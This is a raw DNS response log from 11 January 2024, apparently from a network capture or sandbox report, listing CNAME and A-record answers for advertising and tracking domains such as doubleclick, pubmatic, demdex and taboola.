Jan 11, 2024 00:27:18.744246960 CET	1.1.1.1	192.168.2.4	0xae08	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.744246960 CET	1.1.1.1	192.168.2.4	0xae08	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.744246960 CET	1.1.1.1	192.168.2.4	0xae08	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.745160103 CET	1.1.1.1	192.168.2.4	0x51cf	No error (0)	i.clean.gg		34.95.69.49	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748547077 CET	1.1.1.1	192.168.2.4	0x4167	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748547077 CET	1.1.1.1	192.168.2.4	0x4167	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748547077 CET	1.1.1.1	192.168.2.4	0x4167	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.237.186.235	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		34.197.97.197	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		18.210.32.32	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		34.233.204.225	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.81.4.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.88.142.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.219.55.201	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.748739004 CET	1.1.1.1	192.168.2.4	0x56d1	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.172.142.205	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.749857903 CET	1.1.1.1	192.168.2.4	0xd6c7	No error (0)	sb.scorecardresearch.com		18.165.83.63	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.749857903 CET	1.1.1.1	192.168.2.4	0xd6c7	No error (0)	sb.scorecardresearch.com		18.165.83.104	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.749857903 CET	1.1.1.1	192.168.2.4	0xd6c7	No error (0)	sb.scorecardresearch.com		18.165.83.3	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.749857903 CET	1.1.1.1	192.168.2.4	0xd6c7	No error (0)	sb.scorecardresearch.com		18.165.83.79	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.762290001 CET	1.1.1.1	192.168.2.4	0xe2c	No error (0)	service.idsync.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.762290001 CET	1.1.1.1	192.168.2.4	0xe2c	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.762290001 CET	1.1.1.1	192.168.2.4	0xe2c	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.852209091 CET	1.1.1.1	192.168.2.4	0x46da	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.852209091 CET	1.1.1.1	192.168.2.4	0x46da	No error (0)	securepubads46.g.doubleclick.net		172.253.122.156	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.852209091 CET	1.1.1.1	192.168.2.4	0x46da	No error (0)	securepubads46.g.doubleclick.net		172.253.122.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.852222919 CET	1.1.1.1	192.168.2.4	0x64e6	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.853600025 CET	1.1.1.1	192.168.2.4	0xc91f	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.853600025 CET	1.1.1.1	192.168.2.4	0xc91f	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.854072094 CET	1.1.1.1	192.168.2.4	0xf568	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.856110096 CET	1.1.1.1	192.168.2.4	0x5d83	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.856110096 CET	1.1.1.1	192.168.2.4	0x5d83	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		52.22.225.85	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.856110096 CET	1.1.1.1	192.168.2.4	0x5d83	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		54.197.142.67	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.856110096 CET	1.1.1.1	192.168.2.4	0x5d83	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		52.204.221.65	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.856110096 CET	1.1.1.1	192.168.2.4	0x5d83	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		52.21.141.67	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.856189966 CET	1.1.1.1	192.168.2.4	0x9889	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.865542889 CET	1.1.1.1	192.168.2.4	0x9e1d	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.865631104 CET	1.1.1.1	192.168.2.4	0x5db7	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.872678995 CET	1.1.1.1	192.168.2.4	0x44ff	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.872678995 CET	1.1.1.1	192.168.2.4	0x44ff	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.872692108 CET	1.1.1.1	192.168.2.4	0xb31d	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.872692108 CET	1.1.1.1	192.168.2.4	0xb31d	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.872692108 CET	1.1.1.1	192.168.2.4	0xb31d	No error (0)	spug-vac.pubmnet.com		8.28.7.84	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.875793934 CET	1.1.1.1	192.168.2.4	0xd36f	No error (0)	nts.media.yahoo.com	media-router-api1.prod.media.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.875793934 CET	1.1.1.1	192.168.2.4	0xd36f	No error (0)	media-router-api1.prod.media.yahoo.com	ds-media-router-api1.prod.media.g05.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.875793934 CET	1.1.1.1	192.168.2.4	0xd36f	No error (0)	ds-media-router-api1.prod.media.g05.yahoodns.net		74.6.143.22	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.876671076 CET	1.1.1.1	192.168.2.4	0x4378	No error (0)	nts.media.yahoo.com	media-router-api1.prod.media.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.876671076 CET	1.1.1.1	192.168.2.4	0x4378	No error (0)	media-router-api1.prod.media.yahoo.com	ds-media-router-api1.prod.media.g05.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.876929045 CET	1.1.1.1	192.168.2.4	0x59ee	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.876929045 CET	1.1.1.1	192.168.2.4	0x59ee	No error (0)	simage2v2.pubmnet.com	pug-njrpb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.876929045 CET	1.1.1.1	192.168.2.4	0x59ee	No error (0)	pug-njrpb.pubmnet.com		162.248.18.37	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.878235102 CET	1.1.1.1	192.168.2.4	0xea99	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.878235102 CET	1.1.1.1	192.168.2.4	0xea99	No error (0)	simage2v2.pubmnet.com	pug-njrpb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.880440950 CET	1.1.1.1	192.168.2.4	0x876f	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.880440950 CET	1.1.1.1	192.168.2.4	0x876f	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.880440950 CET	1.1.1.1	192.168.2.4	0x876f	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.880538940 CET	1.1.1.1	192.168.2.4	0xb200	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.880538940 CET	1.1.1.1	192.168.2.4	0xb200	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.881135941 CET	1.1.1.1	192.168.2.4	0x4d26	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.881135941 CET	1.1.1.1	192.168.2.4	0x4d26	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.881135941 CET	1.1.1.1	192.168.2.4	0x4d26	No error (0)	us-east-eb2.3lift.com		52.223.22.214	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.881135941 CET	1.1.1.1	192.168.2.4	0x4d26	No error (0)	us-east-eb2.3lift.com		35.71.139.29	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.881228924 CET	1.1.1.1	192.168.2.4	0xee39	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.881228924 CET	1.1.1.1	192.168.2.4	0xee39	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.881973982 CET	1.1.1.1	192.168.2.4	0x6ddb	No error (0)	cs.media.net		23.195.76.23	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.119086027 CET	1.1.1.1	192.168.2.4	0x7be5	No error (0)	creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.140419960 CET	1.1.1.1	192.168.2.4	0xf225	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.141506910 CET	1.1.1.1	192.168.2.4	0x818c	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.164019108 CET	1.1.1.1	192.168.2.4	0xafc9	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.164164066 CET	1.1.1.1	192.168.2.4	0xb95f	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.212863922 CET	1.1.1.1	192.168.2.4	0xefdb	No error (0)	sync-dmp.mobtrakk.com		5.161.124.197	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.212863922 CET	1.1.1.1	192.168.2.4	0xefdb	No error (0)	sync-dmp.mobtrakk.com		5.161.195.128	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.212863922 CET	1.1.1.1	192.168.2.4	0xefdb	No error (0)	sync-dmp.mobtrakk.com		5.161.181.189	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.212863922 CET	1.1.1.1	192.168.2.4	0xefdb	No error (0)	sync-dmp.mobtrakk.com		5.161.204.250	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.212863922 CET	1.1.1.1	192.168.2.4	0xefdb	No error (0)	sync-dmp.mobtrakk.com		5.161.187.67	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.212863922 CET	1.1.1.1	192.168.2.4	0xefdb	No error (0)	sync-dmp.mobtrakk.com		5.161.92.137	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.212863922 CET	1.1.1.1	192.168.2.4	0xefdb	No error (0)	sync-dmp.mobtrakk.com		5.161.62.221	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.212863922 CET	1.1.1.1	192.168.2.4	0xefdb	No error (0)	sync-dmp.mobtrakk.com		5.161.188.99	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.214893103 CET	1.1.1.1	192.168.2.4	0xd75c	No error (0)	contextual.media.net		23.33.180.25	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.219908953 CET	1.1.1.1	192.168.2.4	0x87ac	No error (0)	images.mediago.io		34.111.60.239	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.284109116 CET	1.1.1.1	192.168.2.4	0x5b40	No error (0)	cdn.cmp.advertising.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.284387112 CET	1.1.1.1	192.168.2.4	0xab23	No error (0)	cdn.cmp.advertising.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.284387112 CET	1.1.1.1	192.168.2.4	0xab23	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.284387112 CET	1.1.1.1	192.168.2.4	0xab23	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.790311098 CET	1.1.1.1	192.168.2.4	0x6816	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.790311098 CET	1.1.1.1	192.168.2.4	0x6816	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.790311098 CET	1.1.1.1	192.168.2.4	0x6816	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.226.188.133	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.224.62.31	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.223.225.218	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.211.62.242	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.164.4.115	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.84.20.90	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.232.164.211	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791317940 CET	1.1.1.1	192.168.2.4	0x552d	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.237.92.75	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791333914 CET	1.1.1.1	192.168.2.4	0x23be	No error (0)	rtb.gumgum.com		54.90.5.164	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791333914 CET	1.1.1.1	192.168.2.4	0x23be	No error (0)	rtb.gumgum.com		52.21.24.179	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791333914 CET	1.1.1.1	192.168.2.4	0x23be	No error (0)	rtb.gumgum.com		34.226.253.159	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791333914 CET	1.1.1.1	192.168.2.4	0x23be	No error (0)	rtb.gumgum.com		3.213.53.144	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791333914 CET	1.1.1.1	192.168.2.4	0x23be	No error (0)	rtb.gumgum.com		52.87.97.169	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791333914 CET	1.1.1.1	192.168.2.4	0x23be	No error (0)	rtb.gumgum.com		52.202.166.126	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791333914 CET	1.1.1.1	192.168.2.4	0x23be	No error (0)	rtb.gumgum.com		34.227.125.34	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791333914 CET	1.1.1.1	192.168.2.4	0x23be	No error (0)	rtb.gumgum.com		3.232.37.22	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.888293028 CET	1.1.1.1	192.168.2.4	0xaac	No error (0)	bh.contextweb.com	lga-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.888293028 CET	1.1.1.1	192.168.2.4	0xaac	No error (0)	lga-bh.contextweb.com	lga-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.888473034 CET	1.1.1.1	192.168.2.4	0x832b	No error (0)	bh.contextweb.com	lga-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.888473034 CET	1.1.1.1	192.168.2.4	0x832b	No error (0)	lga-bh.contextweb.com	lga-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:19.888473034 CET	1.1.1.1	192.168.2.4	0x832b	No error (0)	lga-direct-bgp.contextweb.com		198.148.27.131	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.924806118 CET	1.1.1.1	192.168.2.4	0x72ec	No error (0)	i.ctnsnet.com		35.186.193.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.967927933 CET	1.1.1.1	192.168.2.4	0xc087	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.399285078 CET	1.1.1.1	192.168.2.4	0x71e7	No error (0)	match.deepintent.com	m.deepintent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.399285078 CET	1.1.1.1	192.168.2.4	0x71e7	No error (0)	m.deepintent.com		38.91.45.7	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.399285078 CET	1.1.1.1	192.168.2.4	0x71e7	No error (0)	m.deepintent.com		169.197.150.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.399285078 CET	1.1.1.1	192.168.2.4	0x71e7	No error (0)	m.deepintent.com		169.197.150.7	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.399285078 CET	1.1.1.1	192.168.2.4	0x71e7	No error (0)	m.deepintent.com		8.18.47.7	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.400088072 CET	1.1.1.1	192.168.2.4	0xa073	No error (0)	match.deepintent.com	m.deepintent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.492471933 CET	1.1.1.1	192.168.2.4	0x8d28	No error (0)	a.beap.gemini.yahoo.com	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.493159056 CET	1.1.1.1	192.168.2.4	0x2c42	No error (0)	a.beap.gemini.yahoo.com	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.493159056 CET	1.1.1.1	192.168.2.4	0x2c42	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		34.202.68.237	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.493159056 CET	1.1.1.1	192.168.2.4	0x2c42	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		35.168.253.127	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.493159056 CET	1.1.1.1	192.168.2.4	0x2c42	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		34.204.228.255	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.493159056 CET	1.1.1.1	192.168.2.4	0x2c42	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		3.222.47.227	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.493159056 CET	1.1.1.1	192.168.2.4	0x2c42	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		34.225.19.237	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.493159056 CET	1.1.1.1	192.168.2.4	0x2c42	No error (0)	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud		3.227.150.145	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.495749950 CET	1.1.1.1	192.168.2.4	0xf31c	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.495749950 CET	1.1.1.1	192.168.2.4	0xf31c	No error (0)	match-us-east-1-ecs.sharethrough.com		3.91.137.4	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.495749950 CET	1.1.1.1	192.168.2.4	0xf31c	No error (0)	match-us-east-1-ecs.sharethrough.com		50.19.82.102	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.495749950 CET	1.1.1.1	192.168.2.4	0xf31c	No error (0)	match-us-east-1-ecs.sharethrough.com		3.234.97.107	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.495749950 CET	1.1.1.1	192.168.2.4	0xf31c	No error (0)	match-us-east-1-ecs.sharethrough.com		35.169.47.252	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.495749950 CET	1.1.1.1	192.168.2.4	0xf31c	No error (0)	match-us-east-1-ecs.sharethrough.com		52.6.62.160	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.495749950 CET	1.1.1.1	192.168.2.4	0xf31c	No error (0)	match-us-east-1-ecs.sharethrough.com		34.236.67.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.495749950 CET	1.1.1.1	192.168.2.4	0xf31c	No error (0)	match-us-east-1-ecs.sharethrough.com		52.0.185.94	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.495749950 CET	1.1.1.1	192.168.2.4	0xf31c	No error (0)	match-us-east-1-ecs.sharethrough.com		54.156.118.43	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.496510029 CET	1.1.1.1	192.168.2.4	0xfb4b	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.563059092 CET	1.1.1.1	192.168.2.4	0x899d	No error (0)	images.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.563059092 CET	1.1.1.1	192.168.2.4	0x899d	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.563059092 CET	1.1.1.1	192.168.2.4	0x899d	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.563059092 CET	1.1.1.1	192.168.2.4	0x899d	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.563059092 CET	1.1.1.1	192.168.2.4	0x899d	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.564856052 CET	1.1.1.1	192.168.2.4	0x9846	No error (0)	images.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.919126034 CET	1.1.1.1	192.168.2.4	0xc851	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.919126034 CET	1.1.1.1	192.168.2.4	0xc851	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.919302940 CET	1.1.1.1	192.168.2.4	0xec4c	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:20.919302940 CET	1.1.1.1	192.168.2.4	0xec4c	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
